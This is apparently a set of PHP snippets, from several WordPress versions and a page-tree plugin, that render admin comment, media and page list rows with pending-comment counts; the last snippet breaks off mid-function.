/** * {@internal Missing Short Description}} * * @since unknown * * @param unknown_type $comment_id * @param unknown_type $mode * @param unknown_type $comment_status * @param unknown_type $checkbox */ function _wp_comment_row( $comment_id, $mode, $comment_status, $checkbox = true, $from_ajax = false ) { global $comment, $post, $_comment_pending_count; $comment = get_comment( $comment_id ); $post = get_post($comment->comment_post_ID); $the_comment_status = wp_get_comment_status($comment->comment_ID); $author_url = get_comment_author_url(); if ( 'http://' == $author_url ) $author_url = ''; $author_url_display = $author_url; $author_url_display = str_replace('http://www.', '', $author_url_display); $author_url_display = str_replace('http://', '', $author_url_display); if ( strlen($author_url_display) > 50 ) $author_url_display = substr($author_url_display, 0, 49) . '...'; $ptime = date('G', strtotime( $comment->comment_date ) ); if ( ( abs(time() - $ptime) ) < 86400 ) $ptime = sprintf( __('%s ago'), human_time_diff( $ptime ) ); else $ptime = mysql2date(__('Y/m/d \a\t g:i A'), $comment->comment_date ); $delete_url = clean_url( wp_nonce_url( "comment.php?action=deletecomment&p=$post->ID&c=$comment->comment_ID", "delete-comment_$comment->comment_ID" ) ); $approve_url = clean_url( wp_nonce_url( "comment.php?action=approvecomment&p=$post->ID&c=$comment->comment_ID", "approve-comment_$comment->comment_ID" ) ); $unapprove_url = clean_url( wp_nonce_url( "comment.php?action=unapprovecomment&p=$post->ID&c=$comment->comment_ID", "unapprove-comment_$comment->comment_ID" ) ); $spam_url = clean_url( wp_nonce_url( "comment.php?action=deletecomment&dt=spam&p=$post->ID&c=$comment->comment_ID", "delete-comment_$comment->comment_ID" ) ); echo "<tr id='comment-$comment->comment_ID' class='$the_comment_status'>"; $columns = get_column_headers('edit-comments'); $hidden = get_hidden_columns('edit-comments'); foreach ( $columns as $column_name => $column_display_name ) { $class = "class=\"$column_name column-$column_name\""; $style = ''; if ( in_array($column_name, $hidden) ) $style = ' style="display:none;"'; $attributes = "$class$style"; switch ($column_name) { case 'cb': if ( !$checkbox ) break; echo '<th scope="row" class="check-column">'; if ( current_user_can('edit_post', $post->ID) ) echo "<input type='checkbox' name='delete_comments[]' value='$comment->comment_ID' />"; echo '</th>'; break; case 'comment': echo "<td $attributes>"; echo '<div id="submitted-on">'; printf(__('Submitted on <a href="%1$s">%2$s at %3$s</a>'), get_comment_link($comment->comment_ID), get_comment_date(__('Y/m/d')), get_comment_date(__('g:ia'))); echo '</div>'; comment_text(); ?> <div id="inline-<?php echo $comment->comment_ID; ?>" class="hidden"> <textarea class="comment" rows="3" cols="10"><?php echo $comment->comment_content; ?></textarea> <div class="author-email"><?php echo attribute_escape( $comment->comment_author_email ); ?></div> <div class="author"><?php echo attribute_escape( $comment->comment_author ); ?></div> <div class="author-url"><?php echo attribute_escape( $comment->comment_author_url ); ?></div> <div class="comment_status"><?php echo $comment->comment_approved; ?></div> </div> <?php $actions = array(); if ( current_user_can('edit_post', $post->ID) ) { $actions['approve'] = "<a href='$approve_url' class='dim:the-comment-list:comment-$comment->comment_ID:unapproved:e7e7d3:e7e7d3:new=approved vim-a' title='" . __( 'Approve this comment' ) . "'>" . __( 'Approve' ) . '</a>'; $actions['unapprove'] = "<a href='$unapprove_url' class='dim:the-comment-list:comment-$comment->comment_ID:unapproved:e7e7d3:e7e7d3:new=unapproved vim-u' title='" . __( 'Unapprove this comment' ) . "'>" . __( 'Unapprove' ) . '</a>'; if ( $comment_status ) { // not looking at all comments if ( 'approved' == $the_comment_status ) { $actions['unapprove'] = "<a href='$unapprove_url' class='delete:the-comment-list:comment-$comment->comment_ID:e7e7d3:action=dim-comment&new=unapproved vim-u vim-destructive' title='" . __( 'Unapprove this comment' ) . "'>" . __( 'Unapprove' ) . '</a>'; unset($actions['approve']); } else { $actions['approve'] = "<a href='$approve_url' class='delete:the-comment-list:comment-$comment->comment_ID:e7e7d3:action=dim-comment&new=approved vim-a vim-destructive' title='" . __( 'Approve this comment' ) . "'>" . __( 'Approve' ) . '</a>'; unset($actions['unapprove']); } } if ( 'spam' != $the_comment_status ) $actions['spam'] = "<a href='$spam_url' class='delete:the-comment-list:comment-$comment->comment_ID::spam=1 vim-s vim-destructive' title='" . __( 'Mark this comment as spam' ) . "'>" . _c( 'Spam|verb' ) . '</a>'; $actions['delete'] = "<a href='$delete_url' class='delete:the-comment-list:comment-$comment->comment_ID delete vim-d vim-destructive'>" . __('Delete') . '</a>'; $actions['edit'] = "<a href='comment.php?action=editcomment&c={$comment->comment_ID}' title='" . __('Edit comment') . "'>". __('Edit') . '</a>'; $actions['quickedit'] = '<a onclick="commentReply.open(\''.$comment->comment_ID.'\',\''.$post->ID.'\',\'edit\');return false;" class="vim-q" title="'.__('Quick Edit').'" href="#">' . __('Quick Edit') . '</a>'; if ( 'spam' != $the_comment_status ) $actions['reply'] = '<a onclick="commentReply.open(\''.$comment->comment_ID.'\',\''.$post->ID.'\');return false;" class="vim-r" title="'.__('Reply to this comment').'" href="#">' . __('Reply') . '</a>'; $actions = apply_filters( 'comment_row_actions', $actions, $comment ); $i = 0; echo '<div class="row-actions">'; foreach ( $actions as $action => $link ) { ++$i; ( ( ('approve' == $action || 'unapprove' == $action) && 2 === $i ) || 1 === $i ) ? $sep = '' : $sep = ' | '; // Reply and quickedit need a hide-if-no-js span when not added with ajax if ( ('reply' == $action || 'quickedit' == $action) && ! $from_ajax ) $action .= ' hide-if-no-js'; echo "<span class='$action'>$sep$link</span>"; } echo '</div>'; } echo '</td>'; break; case 'author': echo "<td $attributes><strong>"; comment_author(); echo '</strong><br />'; if ( !empty($author_url) ) echo "<a title='$author_url' href='$author_url'>$author_url_display</a><br />"; if ( current_user_can( 'edit_post', $post->ID ) ) { if ( !empty($comment->comment_author_email) ) { comment_author_email_link(); echo '<br />'; } echo '<a href="edit-comments.php?s='; comment_author_IP(); echo '&mode=detail'; if ( 'spam' == $comment_status ) echo '&comment_status=spam'; echo '">'; comment_author_IP(); echo '</a>'; } //current_user_can echo '</td>'; break; case 'date': echo "<td $attributes>" . get_comment_date(__('Y/m/d \a\t g:ia')) . '</td>'; break; case 'response': if ( 'single' !== $mode ) { if ( isset( $_comment_pending_count[$post->ID] ) ) { $pending_comments = absint( $_comment_pending_count[$post->ID] ); } else { $_comment_pending_count_temp = (array) get_pending_comments_num( array( $post->ID ) ); $pending_comments = $_comment_pending_count[$post->ID] = $_comment_pending_count_temp[$post->ID]; } if ( current_user_can( 'edit_post', $post->ID ) ) { $post_link = "<a href='" . get_edit_post_link($post->ID) . "'>"; $post_link .= get_the_title($post->ID) . '</a>'; } else { $post_link = get_the_title($post->ID); } echo "<td $attributes>\n"; echo $post_link; echo '<div class="response-links"><span class="post-com-count-wrapper">'; $pending_phrase = sprintf( __('%s pending'), number_format( $pending_comments ) ); if ( $pending_comments ) echo '<strong>'; comments_number("<a href='edit-comments.php?p=$post->ID' title='$pending_phrase' class='post-com-count'><span class='comment-count'>" . __('0') . '</span></a>', "<a href='edit-comments.php?p=$post->ID' title='$pending_phrase' class='post-com-count'><span class='comment-count'>" . __('1') . '</span></a>', "<a href='edit-comments.php?p=$post->ID' title='$pending_phrase' class='post-com-count'><span class='comment-count'>" . __('%') . '</span></a>'); if ( $pending_comments ) echo '</strong>'; echo '</span> '; echo "<a href='" . get_permalink( $post->ID ) . "'>#</a>"; echo '</div></td>'; } } } echo "</tr>\n"; }
/** * {@internal Missing Short Description}} * * @since unknown * * @param unknown_type $comment_id * @param unknown_type $mode * @param unknown_type $comment_status * @param unknown_type $checkbox */ function _wp_comment_row($comment_id, $mode, $comment_status, $checkbox = true, $from_ajax = false) { global $comment, $post, $_comment_pending_count; $comment = get_comment($comment_id); $post = get_post($comment->comment_post_ID); $the_comment_status = wp_get_comment_status($comment->comment_ID); $user_can = current_user_can('edit_post', $post->ID); $author_url = get_comment_author_url(); if ('http://' == $author_url) { $author_url = ''; } $author_url_display = preg_replace('|http://(www\\.)?|i', '', $author_url); if (strlen($author_url_display) > 50) { $author_url_display = substr($author_url_display, 0, 49) . '...'; } $ptime = date('G', strtotime($comment->comment_date)); if (abs(time() - $ptime) < 86400) { $ptime = sprintf(__('%s ago'), human_time_diff($ptime)); } else { $ptime = mysql2date(__('Y/m/d \\a\\t g:i A'), $comment->comment_date); } $delete_url = esc_url(wp_nonce_url("comment.php?action=deletecomment&p={$post->ID}&c={$comment->comment_ID}", "delete-comment_{$comment->comment_ID}")); $approve_url = esc_url(wp_nonce_url("comment.php?action=approvecomment&p={$post->ID}&c={$comment->comment_ID}", "approve-comment_{$comment->comment_ID}")); $unapprove_url = esc_url(wp_nonce_url("comment.php?action=unapprovecomment&p={$post->ID}&c={$comment->comment_ID}", "unapprove-comment_{$comment->comment_ID}")); $spam_url = esc_url(wp_nonce_url("comment.php?action=deletecomment&dt=spam&p={$post->ID}&c={$comment->comment_ID}", "delete-comment_{$comment->comment_ID}")); $trash_url = esc_url(wp_nonce_url("comment.php?action=trashcomment&p={$post->ID}&c={$comment->comment_ID}", "trash-comment_{$comment->comment_ID}")); $untrash_url = esc_url(wp_nonce_url("comment.php?action=untrashcomment&p={$post->ID}&c={$comment->comment_ID}", "untrash-comment_{$comment->comment_ID}")); echo "<tr id='comment-{$comment->comment_ID}' class='{$the_comment_status}'>"; $columns = get_column_headers('edit-comments'); $hidden = get_hidden_columns('edit-comments'); foreach ($columns as $column_name => $column_display_name) { $class = "class=\"{$column_name} column-{$column_name}\""; $style = ''; if (in_array($column_name, $hidden)) { $style = ' style="display:none;"'; } $attributes = "{$class}{$style}"; switch ($column_name) { case 'cb': if (!$checkbox) { break; } echo '<th scope="row" class="check-column">'; if ($user_can) { echo "<input type='checkbox' name='delete_comments[]' value='{$comment->comment_ID}' />"; } echo '</th>'; break; case 'comment': echo "<td {$attributes}>"; echo '<div id="submitted-on">'; printf(__('Submitted on <a href="%1$s">%2$s at %3$s</a>'), get_comment_link($comment->comment_ID), get_comment_date(__('Y/m/d')), get_comment_date(__('g:ia'))); echo '</div>'; comment_text(); if ($user_can) { ?> <div id="inline-<?php echo $comment->comment_ID; ?> " class="hidden"> <textarea class="comment" rows="1" cols="1"><?php echo htmlspecialchars($comment->comment_content, ENT_QUOTES); ?> </textarea> <div class="author-email"><?php echo esc_attr($comment->comment_author_email); ?> </div> <div class="author"><?php echo esc_attr($comment->comment_author); ?> </div> <div class="author-url"><?php echo esc_attr($comment->comment_author_url); ?> </div> <div class="comment_status"><?php echo $comment->comment_approved; ?> </div> </div> <?php } $actions = array(); if ($user_can) { if ('trash' == $the_comment_status) { $actions['untrash'] = "<a href='{$untrash_url}' class='delete:the-comment-list:comment-{$comment->comment_ID}::untrash=1 vim-t vim-destructive''>" . __('Restore') . '</a>'; $actions['delete'] = "<a href='{$delete_url}' class='delete:the-comment-list:comment-{$comment->comment_ID} delete vim-d vim-destructive'>" . __('Delete Permanently') . '</a>'; } else { $actions['approve'] = "<a href='{$approve_url}' class='dim:the-comment-list:comment-{$comment->comment_ID}:unapproved:e7e7d3:e7e7d3:new=approved vim-a' title='" . __('Approve this comment') . "'>" . __('Approve') . '</a>'; $actions['unapprove'] = "<a href='{$unapprove_url}' class='dim:the-comment-list:comment-{$comment->comment_ID}:unapproved:e7e7d3:e7e7d3:new=unapproved vim-u' title='" . __('Unapprove this comment') . "'>" . __('Unapprove') . '</a>'; if ($comment_status && 'all' != $comment_status) { // not looking at all comments if ('approved' == $the_comment_status) { $actions['unapprove'] = "<a href='{$unapprove_url}' class='delete:the-comment-list:comment-{$comment->comment_ID}:e7e7d3:action=dim-comment&new=unapproved vim-u vim-destructive' title='" . __('Unapprove this comment') . "'>" . __('Unapprove') . '</a>'; unset($actions['approve']); } else { $actions['approve'] = "<a href='{$approve_url}' class='delete:the-comment-list:comment-{$comment->comment_ID}:e7e7d3:action=dim-comment&new=approved vim-a vim-destructive' title='" . __('Approve this comment') . "'>" . __('Approve') . '</a>'; unset($actions['unapprove']); } } if ('spam' == $the_comment_status) { $actions['delete'] = "<a href='{$delete_url}' class='delete:the-comment-list:comment-{$comment->comment_ID} delete vim-d vim-destructive'>" . __('Delete Permanently') . '</a>'; } else { $actions['spam'] = "<a href='{$spam_url}' class='delete:the-comment-list:comment-{$comment->comment_ID}::spam=1 vim-s vim-destructive' title='" . __('Mark this comment as spam') . "'>" . _x('Spam', 'verb') . '</a>'; $actions['trash'] = "<a href='{$trash_url}' class='delete:the-comment-list:comment-{$comment->comment_ID}::trash=1 delete vim-t vim-destructive'>" . __('Trash') . '</a>'; } $actions['edit'] = "<a href='comment.php?action=editcomment&c={$comment->comment_ID}' title='" . __('Edit comment') . "'>" . __('Edit') . '</a>'; $actions['quickedit'] = '<a onclick="commentReply.open(\'' . $comment->comment_ID . '\',\'' . $post->ID . '\',\'edit\');return false;" class="vim-q" title="' . __('Quick Edit') . '" href="#">' . __('Quick Edit') . '</a>'; if ('spam' != $the_comment_status) { $actions['reply'] = '<a onclick="commentReply.open(\'' . $comment->comment_ID . '\',\'' . $post->ID . '\');return false;" class="vim-r" title="' . __('Reply to this comment') . '" href="#">' . __('Reply') . '</a>'; } } $actions = apply_filters('comment_row_actions', $actions, $comment); $i = 0; echo '<div class="row-actions">'; foreach ($actions as $action => $link) { ++$i; ('approve' == $action || 'unapprove' == $action) && 2 === $i || 1 === $i ? $sep = '' : ($sep = ' | '); // Reply and quickedit need a hide-if-no-js span when not added with ajax if (('reply' == $action || 'quickedit' == $action) && !$from_ajax) { $action .= ' hide-if-no-js'; } elseif ($action == 'untrash' && $the_comment_status == 'trash') { if ('1' == get_comment_meta($comment_id, '_wp_trash_meta_status', true)) { $action .= ' approve'; } else { $action .= ' unapprove'; } } echo "<span class='{$action}'>{$sep}{$link}</span>"; } echo '</div>'; } echo '</td>'; break; case 'author': echo "<td {$attributes}><strong>"; comment_author(); echo '</strong><br />'; if (!empty($author_url)) { echo "<a title='{$author_url}' href='{$author_url}'>{$author_url_display}</a><br />"; } if ($user_can) { if (!empty($comment->comment_author_email)) { comment_author_email_link(); echo '<br />'; } echo '<a href="edit-comments.php?s='; comment_author_IP(); echo '&mode=detail'; if ('spam' == $comment_status) { echo '&comment_status=spam'; } echo '">'; comment_author_IP(); echo '</a>'; } //current_user_can echo '</td>'; break; case 'date': echo "<td {$attributes}>" . get_comment_date(__('Y/m/d \\a\\t g:ia')) . '</td>'; break; case 'response': if ('single' !== $mode) { if (isset($_comment_pending_count[$post->ID])) { $pending_comments = absint($_comment_pending_count[$post->ID]); } else { $_comment_pending_count_temp = (array) get_pending_comments_num(array($post->ID)); $pending_comments = $_comment_pending_count[$post->ID] = $_comment_pending_count_temp[$post->ID]; } if ($user_can) { $post_link = "<a href='" . get_edit_post_link($post->ID) . "'>"; $post_link .= get_the_title($post->ID) . '</a>'; } else { $post_link = get_the_title($post->ID); } echo "<td {$attributes}>\n"; echo '<div class="response-links"><span class="post-com-count-wrapper">'; echo $post_link . '<br />'; $pending_phrase = sprintf(__('%s pending'), number_format($pending_comments)); if ($pending_comments) { echo '<strong>'; } comments_number("<a href='edit-comments.php?p={$post->ID}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('0', 'comment count') . '</span></a>', "<a href='edit-comments.php?p={$post->ID}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('1', 'comment count') . '</span></a>', "<a href='edit-comments.php?p={$post->ID}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('%', 'comment count') . '</span></a>'); if ($pending_comments) { echo '</strong>'; } echo '</span> '; echo "<a href='" . get_permalink($post->ID) . "'>#</a>"; echo '</div>'; if ('attachment' == $post->post_type && ($thumb = wp_get_attachment_image($post->ID, array(80, 60), true))) { echo $thumb; } echo '</td>'; } break; default: echo "<td {$attributes}>\n"; do_action('manage_comments_custom_column', $column_name, $comment->comment_ID); echo "</td>\n"; break; } } echo "</tr>\n"; }
function _display_rows( $posts ) { global $post, $mode; add_filter( 'the_title', 'esc_html' ); // Create array of post IDs. $post_ids = array(); foreach ( $posts as $a_post ) $post_ids[] = $a_post->ID; $this->comment_pending_count = get_pending_comments_num( $post_ids ); foreach ( $posts as $post ) $this->single_row( $post ); }
function column_response($comment) { global $post; if (isset($this->pending_count[$post->ID])) { $pending_comments = $this->pending_count[$post->ID]; } else { $_pending_count_temp = get_pending_comments_num(array($post->ID)); $pending_comments = $this->pending_count[$post->ID] = $_pending_count_temp[$post->ID]; } if (current_user_can('edit_post', $post->ID)) { $post_link = "<a href='" . get_edit_post_link($post->ID) . "'>"; $post_link .= get_the_title($post->ID) . '</a>'; } else { $post_link = get_the_title($post->ID); } echo '<div class="response-links"><span class="post-com-count-wrapper">'; echo $post_link . '<br />'; $this->comments_bubble($post->ID, $pending_comments); echo '</span> '; echo "<a href='" . get_permalink($post->ID) . "'>#</a>"; echo '</div>'; if ('attachment' == $post->post_type && ($thumb = wp_get_attachment_image($post->ID, array(80, 60), true))) { echo $thumb; } }
<?php } else { ?> <td <?php echo $attributes ?>><?php _e('(Unattached)'); ?><br /> <a class="hide-if-no-js" onclick="findPosts.open('media[]','<?php echo $post->ID ?>');return false;" href="#the-list"><?php _e('Attach'); ?></a></td> <?php } break; case 'comments': $attributes = 'class="comments column-comments num"' . $style; ?> <td <?php echo $attributes ?>><div class="post-com-count-wrapper"> <?php $left = get_pending_comments_num( $post->ID ); $pending_phrase = sprintf( __('%s pending'), number_format( $left ) ); if ( $left ) echo '<strong>'; comments_number("<a href='edit-comments.php?p=$id' title='$pending_phrase' class='post-com-count'><span class='comment-count'>" . /* translators: comment count link */ _x('0', 'comment count') . '</span></a>', "<a href='edit-comments.php?p=$id' title='$pending_phrase' class='post-com-count'><span class='comment-count'>" . /* translators: comment count link */ _x('1', 'comment count') . '</span></a>', "<a href='edit-comments.php?p=$id' title='$pending_phrase' class='post-com-count'><span class='comment-count'>" . /* translators: comment count link: % will be substituted by comment count */ _x('%', 'comment count') . '</span></a>'); if ( $left ) echo '</strong>'; ?> </div></td> <?php break; case 'actions': ?> <td <?php echo $attributes ?>> <a href="media.php?action=edit&attachment_id=<?php the_ID(); ?>" title="<?php echo esc_attr(sprintf(__('Edit “%s”'), $att_title)); ?>"><?php _e('Edit'); ?></a> |
<?php $comments_per_page = apply_filters('comments_per_page', 20, $comment_status); if (isset($_GET['apage'])) { $page = abs((int) $_GET['apage']); } else { $page = 1; } $start = $offset = ($page - 1) * $comments_per_page; list($_comments, $total) = _wp_get_comment_list($comment_status, $search_dirty, $start, $comments_per_page + 5, $post_id, $comment_type); // Grab a few extra $_comment_post_ids = array(); foreach ($_comments as $_c) { $_comment_post_ids[] = $_c->comment_post_ID; } $_comment_pending_count_temp = (array) get_pending_comments_num($_comment_post_ids); foreach ((array) $_comment_post_ids as $_cpid) { $_comment_pending_count[$_cpid] = isset($_comment_pending_count_temp[$_cpid]) ? $_comment_pending_count_temp[$_cpid] : 0; } if (empty($_comment_pending_count)) { $_comment_pending_count = array(); } $comments = array_slice($_comments, 0, $comments_per_page); $extra_comments = array_slice($_comments, $comments_per_page); $page_links = paginate_links(array('base' => add_query_arg('apage', '%#%'), 'format' => '', 'prev_text' => __('«'), 'next_text' => __('»'), 'total' => ceil($total / $comments_per_page), 'current' => $page)); ?> <input type="hidden" name="mode" value="<?php echo $mode; ?> " />
/** * Public function for printing the management rows of the content type * * @param array $posts * @param int $pagenum * @param int $per_page */ public function manage_rows($posts, $pagenum, $per_page) { global $wp_query, $post, $mode; add_filter('the_title', 'esc_html'); // Create array of post IDs. $post_ids = array(); if (empty($posts)) { $posts =& $wp_query->posts; } foreach ($posts as $a_post) { $post_ids[] = $a_post->ID; } $comment_pending_count = get_pending_comments_num($post_ids); if (empty($comment_pending_count)) { $comment_pending_count = array(); } foreach ($posts as $post) { if (empty($comment_pending_count[$post->ID])) { $comment_pending_count[$post->ID] = 0; } $this->_manage_row($post, $comment_pending_count[$post->ID], $mode); } }
function display_page_row($page, $level = 0) { global $post; static $class; $post = $page; setup_postdata($page); $page->post_title = wp_specialchars($page->post_title); $pad = str_repeat('— ', $level); $id = (int) $page->ID; $class = 'alternate' == $class ? '' : 'alternate'; $posts_columns = wp_manage_pages_columns(); $title = get_the_title(); if (empty($title)) { $title = __('(no title)'); } ?> <tr id='page-<?php echo $id; ?> ' class='<?php echo $class; ?> '> <?php foreach ($posts_columns as $column_name => $column_display_name) { switch ($column_name) { case 'cb': ?> <th scope="row" class="check-column"><input type="checkbox" name="delete[]" value="<?php the_ID(); ?> " /></th> <?php break; case 'modified': case 'date': if ('0000-00-00 00:00:00' == $page->post_date && 'date' == $column_name) { $t_time = $h_time = __('Unpublished'); } else { if ('modified' == $column_name) { $t_time = get_the_modified_time(__('Y/m/d g:i:s A')); $m_time = $page->post_modified; $time = get_post_modified_time('G', true); } else { $t_time = get_the_time(__('Y/m/d g:i:s A')); $m_time = $page->post_date; $time = get_post_time('G', true); } if (abs(time() - $time) < 86400) { if ('future' == $page->post_status) { $h_time = sprintf(__('%s from now'), human_time_diff($time)); } else { $h_time = sprintf(__('%s ago'), human_time_diff($time)); } } else { $h_time = mysql2date(__('Y/m/d'), $m_time); } } ?> <td><abbr title="<?php echo $t_time; ?> "><?php echo $h_time; ?> </abbr></td> <?php break; case 'title': ?> <td><strong><a class="row-title" href="page.php?action=edit&post=<?php the_ID(); ?> " title="<?php echo attribute_escape(sprintf(__('Edit "%s"'), $title)); ?> "><?php echo $pad; echo $title; ?> </a></strong> <?php if ('private' == $page->post_status) { _e(' — <strong>Private</strong>'); } ?> </td> <?php break; case 'comments': ?> <td class="num"><div class="post-com-count-wrapper"> <?php $left = get_pending_comments_num($page->ID); $pending_phrase = sprintf(__('%s pending'), number_format($left)); if ($left) { echo '<strong>'; } comments_number("<a href='edit-pages.php?page_id={$id}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . __('0') . '</span></a>', "<a href='edit-pages.php?page_id={$id}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . __('1') . '</span></a>', "<a href='edit-pages.php?page_id={$id}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . __('%') . '</span></a>'); if ($left) { echo '</strong>'; } ?> </div></td> <?php break; case 'author': ?> <td><a href="edit-pages.php?author=<?php the_author_ID(); ?> "><?php the_author(); ?> </a></td> <?php break; case 'status': ?> <td> <a href="<?php the_permalink(); ?> " title="<?php echo attribute_escape(sprintf(__('View "%s"'), $title)); ?> " rel="permalink"> <?php switch ($page->post_status) { case 'publish': case 'private': _e('Published'); break; case 'future': _e('Scheduled'); break; case 'pending': _e('Pending Review'); break; case 'draft': _e('Unpublished'); break; } ?> </a> </td> <?php break; default: ?> <td><?php do_action('manage_pages_custom_column', $column_name, $id); ?> </td> <?php break; } } ?> </tr> <?php }
public function display_rows() { global $post; add_filter('the_title', 'esc_html'); while (have_posts()) { the_post(); $user_can_edit = current_user_can('edit_post', $post->ID); if ($this->is_trash && $post->post_status != 'trash' || !$this->is_trash && $post->post_status == 'trash') { continue; } $post_owner = get_current_user_id() == $post->post_author ? 'self' : 'other'; $att_title = _draft_or_post_title(); ?> <tr id="post-<?php echo $post->ID; ?> " class="<?php echo trim(' author-' . $post_owner . ' status-' . $post->post_status); ?> "> <?php list($columns, $hidden) = $this->get_column_info(); foreach ($columns as $column_name => $column_display_name) { $class = "class='{$column_name} column-{$column_name}'"; $style = ''; if (in_array($column_name, $hidden)) { $style = ' style="display:none;"'; } $attributes = $class . $style; switch ($column_name) { case 'cb': ?> <th scope="row" class="check-column"> <?php if ($user_can_edit) { ?> <label class="screen-reader-text" for="cb-select-<?php the_ID(); ?> "><?php echo sprintf(__('Select %s'), $att_title); ?> </label> <input type="checkbox" name="media[]" id="cb-select-<?php the_ID(); ?> " value="<?php the_ID(); ?> "/> <?php } ?> </th> <?php break; case 'icon': list($mime) = explode('/', $post->post_mime_type); $attributes = 'class="column-icon media-icon ' . $mime . '-icon"' . $style; ?> <td <?php echo $attributes; ?> ><?php if ($thumb = wp_get_attachment_image($post->ID, array(80, 60), true)) { if ($this->is_trash || !$user_can_edit) { echo $thumb; } else { ?> <a href="<?php echo get_edit_post_link($post->ID); ?> " title="<?php echo esc_attr(sprintf(__('Edit “%s”'), $att_title)); ?> "> <?php echo $thumb; ?> </a> <?php } } ?> </td> <?php break; case 'title': ?> <td <?php echo $attributes; ?> ><strong> <?php if ($this->is_trash || !$user_can_edit) { echo $att_title; } else { ?> <a href="<?php echo get_edit_post_link($post->ID); ?> " title="<?php echo esc_attr(sprintf(__('Edit “%s”'), $att_title)); ?> "> <?php echo $att_title; ?> </a> <?php } _media_states($post); ?> </strong> <p class="filename"><?php echo wp_basename($post->guid); ?> </p> <?php echo $this->row_actions($this->_get_row_actions($post, $att_title)); ?> </td> <?php break; case 'author': ?> <td <?php echo $attributes; ?> ><?php printf('<a href="%s">%s</a>', esc_url(add_query_arg(array('author' => get_the_author_meta('ID')), 'upload.php')), get_the_author()); ?> </td> <?php break; case 'desc': ?> <td <?php echo $attributes; ?> ><?php echo has_excerpt() ? $post->post_excerpt : ''; ?> </td> <?php break; case 'date': if ('0000-00-00 00:00:00' == $post->post_date) { $h_time = __('Unpublished'); } else { $m_time = $post->post_date; $time = get_post_time('G', true, $post, false); if (abs($t_diff = time() - $time) < DAY_IN_SECONDS) { if ($t_diff < 0) { $h_time = sprintf(__('%s from now'), human_time_diff($time)); } else { $h_time = sprintf(__('%s ago'), human_time_diff($time)); } } else { $h_time = mysql2date(__('Y/m/d'), $m_time); } } ?> <td <?php echo $attributes; ?> ><?php echo $h_time; ?> </td> <?php break; case 'parent': if ($post->post_parent > 0) { $parent = get_post($post->post_parent); } else { $parent = false; } if ($parent) { $title = _draft_or_post_title($post->post_parent); $parent_type = get_post_type_object($parent->post_type); ?> <td <?php echo $attributes; ?> ><strong> <?php if ($parent_type && $parent_type->show_ui && current_user_can('edit_post', $post->post_parent)) { ?> <a href="<?php echo get_edit_post_link($post->post_parent); ?> "> <?php echo $title; ?> </a><?php } else { echo $title; } ?> </strong>, <?php echo get_the_time(__('Y/m/d')); ?> <br/> <?php if ($user_can_edit) { $detach_url = add_query_arg(array('parent_post_id' => $post->post_parent, 'media[]' => $post->ID, '_wpnonce' => wp_create_nonce('bulk-' . $this->_args['plural'])), 'upload.php'); ?> <a class="hide-if-no-js detach-from-parent" href="<?php echo $detach_url; ?> "><?php _e('Detach'); ?> </a> <?php } ?> </td> <?php } else { ?> <td <?php echo $attributes; ?> ><?php _e('(Unattached)'); ?> <br/> <?php if ($user_can_edit) { ?> <a class="hide-if-no-js" onclick="findPosts.open( 'media[]','<?php echo $post->ID; ?> ' ); return false;" href="#the-list"> <?php _e('Attach'); ?> </a> <?php } ?> </td> <?php } break; case 'comments': $attributes = 'class="comments column-comments num"' . $style; ?> <td <?php echo $attributes; ?> > <div class="post-com-count-wrapper"> <?php $pending_comments = get_pending_comments_num($post->ID); $this->comments_bubble($post->ID, $pending_comments); ?> </div> </td> <?php break; default: if ('categories' == $column_name) { $taxonomy = 'category'; } elseif ('tags' == $column_name) { $taxonomy = 'post_tag'; } elseif (0 === strpos($column_name, 'taxonomy-')) { $taxonomy = substr($column_name, 9); } else { $taxonomy = false; } if ($taxonomy) { echo '<td ' . $attributes . '>'; if ($terms = get_the_terms($post->ID, $taxonomy)) { $out = array(); foreach ($terms as $t) { $posts_in_term_qv = array(); $posts_in_term_qv['taxonomy'] = $taxonomy; $posts_in_term_qv['term'] = $t->slug; $out[] = sprintf('<a href="%s">%s</a>', esc_url(add_query_arg($posts_in_term_qv, 'upload.php')), esc_html(sanitize_term_field('name', $t->name, $t->term_id, $taxonomy, 'display'))); } /* translators: used between list items, there is a space after the comma */ echo join(__(', '), $out); } else { echo '—'; } echo '</td>'; break; } ?> <td <?php echo $attributes; ?> ><?php /** * Fires for each custom column in the Media list table. * * Custom columns are registered using the 'manage_media_columns' filter. * * @since 2.5.0 * * @param string $column_name Name of the custom column. * @param int $post_id Attachment ID. */ do_action('manage_media_custom_column', $column_name, $post->ID); ?> </td> <?php break; } } ?> </tr> <?php } }
/** * Output JSON for the children of a node * $arrOpenChilds = array with id of pages to open children on */ function cms_tpv_print_childs($pageID, $view = "all", $arrOpenChilds = null, $post_type) { $arrPages = cms_tpv_get_pages("parent={$pageID}&view={$view}&post_type={$post_type}"); if ($arrPages) { global $current_screen; $screen = convert_to_screen("edit"); #return; // If this is set to null then quick/bul edit stops working on posts (not pages) // If did set it to null sometime. Can't remember why... // $screen->post_type = null; $post_type_object = get_post_type_object($post_type); ob_start(); // some plugins, for example magic fields, return javascript and things here. we're not compatible with that, so just swallow any output $posts_columns = get_column_headers($screen); ob_get_clean(); unset($posts_columns["cb"], $posts_columns["title"], $posts_columns["author"], $posts_columns["categories"], $posts_columns["tags"], $posts_columns["date"]); global $post; // Translated post statuses $post_statuses = get_post_statuses(); ?> [<?php for ($i = 0, $pagesCount = sizeof($arrPages); $i < $pagesCount; $i++) { $onePage = $arrPages[$i]; $tmpPost = $post; $post = $onePage; $page_id = $onePage->ID; $arrChildPages = NULL; $editLink = get_edit_post_link($onePage->ID, 'notDisplay'); $content = esc_html($onePage->post_content); $content = str_replace(array("\n", "\r"), "", $content); $hasChildren = false; // if viewing trash, don't get children. we watch them "flat" instead if ($view == "trash") { } else { $arrChildPages = cms_tpv_get_pages("parent={$onePage->ID}&view={$view}&post_type={$post_type}"); } if (!empty($arrChildPages)) { $hasChildren = true; } // if no children, output no state $strState = '"state": "closed",'; if (!$hasChildren) { $strState = ''; } // type of node $rel = $onePage->post_status; if ($onePage->post_password) { $rel = "password"; } // modified time $post_modified_time = strtotime($onePage->post_modified); $post_modified_time = date_i18n(get_option('date_format'), $post_modified_time, false); // last edited by setup_postdata($post); $post_author = cms_tpv_get_the_modified_author(); if (empty($post_author)) { $post_author = __("Unknown user", 